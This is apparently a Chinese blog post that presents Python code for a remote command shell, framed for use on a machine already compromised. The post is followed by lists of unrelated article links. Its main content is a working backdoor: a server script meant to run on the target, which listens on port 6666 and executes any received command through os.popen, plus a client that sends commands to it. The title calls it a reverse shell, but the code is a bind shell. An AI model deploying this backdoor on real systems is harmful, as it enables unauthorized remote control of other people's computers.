python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
python自动化测试之setUp与tearDown实例
Sep 28 Python
Python里disconnect UDP套接字的方法
Apr 23 Python
python获取本地计算机名字的方法
Apr 29 Python
Python Property属性的2种用法
Jun 21 Python
Python 网页解析HTMLParse的实例详解
Aug 10 Python
基于python(urlparse)模板的使用方法总结
Oct 13 Python
使用Python实现windows下的抓包与解析
Jan 15 Python
Python3.5迭代器与生成器用法实例分析
Apr 30 Python
python画图——实现在图上标注上具体数值的方法
Jul 08 Python
在python Numpy中求向量和矩阵的范数实例
Aug 26 Python
python GUI库图形界面开发之PyQt5工具栏控件QToolBar的详细使用方法与实例
Feb 28 Python
appium+python adb常用命令分享
Mar 06 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
PHP isset()与empty()的使用区别详解
2010/08/29 PHP
Laravel 5.3 学习笔记之 配置
2016/08/28 PHP
完美解决phpexcel导出到xls文件出现乱码的问题
2016/10/29 PHP
PHP面向对象程序设计子类扩展父类(子类重新载入父类)操作详解
2019/06/14 PHP
用js 让图片在 div或dl里 居中,底部对齐
2008/01/21 Javascript
ExtJs使用总结(非常详细)
2012/03/22 Javascript
javascript提取URL的搜索字符串中的参数(自定义函数实现)
2013/01/22 Javascript
jquery获取一个元素下面相同子元素的个数代码
2014/07/31 Javascript
jquery 操作css样式、位置、尺寸方法汇总
2014/11/28 Javascript
jQuery 监控键盘一段时间没输入
2016/04/22 Javascript
JavaScript的Vue.js库入门学习教程
2016/05/23 Javascript
Bootstrap开发实战之响应式轮播图
2016/06/02 Javascript
概述jQuery中的ajax方法
2016/12/16 Javascript
jQuery插件MovingBoxes实现左右滑动中间放大图片效果
2017/02/28 Javascript
JavaScript实现一个带AI的井字棋游戏源码
2018/05/21 Javascript
vue+element的表格实现批量删除功能示例代码
2018/08/17 Javascript
JavaScript Reflect Metadata实现详解
2019/12/12 Javascript
Vue3 的响应式和以前有什么区别,Proxy 无敌?
2020/05/20 Javascript
JQuery Ajax如何实现注册检测用户名
2020/09/25 jQuery
[14:19]2018年度COSER大赛-完美盛典
2018/12/16 DOTA
Python获取暗黑破坏神3战网前1000命位玩家的英雄技能统计
2016/07/04 Python
python验证码识别的实例详解
2016/09/09 Python
Python使用Scrapy保存控制台信息到文本解析
2017/12/27 Python
Python容器使用的5个技巧和2个误区总结
2019/09/26 Python
django有外键关系的两张表如何相互查找
2020/02/10 Python
Python csv文件记录流程代码解析
2020/07/16 Python
CSS3 transforms应用于背景图像的解决方法
2019/04/16 HTML / CSS
英国领先的体验日提供商:Buyagift
2019/04/19 全球购物
如何客观的进行自我评价
2013/12/17 职场文书
学生安全责任书
2014/04/15 职场文书
幼儿园辞职信范文
2015/02/27 职场文书
2015年度村委会工作总结
2015/04/29 职场文书
80行代码写一个Webpack插件并发布到npm
2021/05/24 Javascript
python 中yaml文件用法大全
2021/07/04 Python
Minikube搭建Kubernetes集群
2022/03/31 Servers
python数字图像处理:图像的绘制
2022/06/28 Python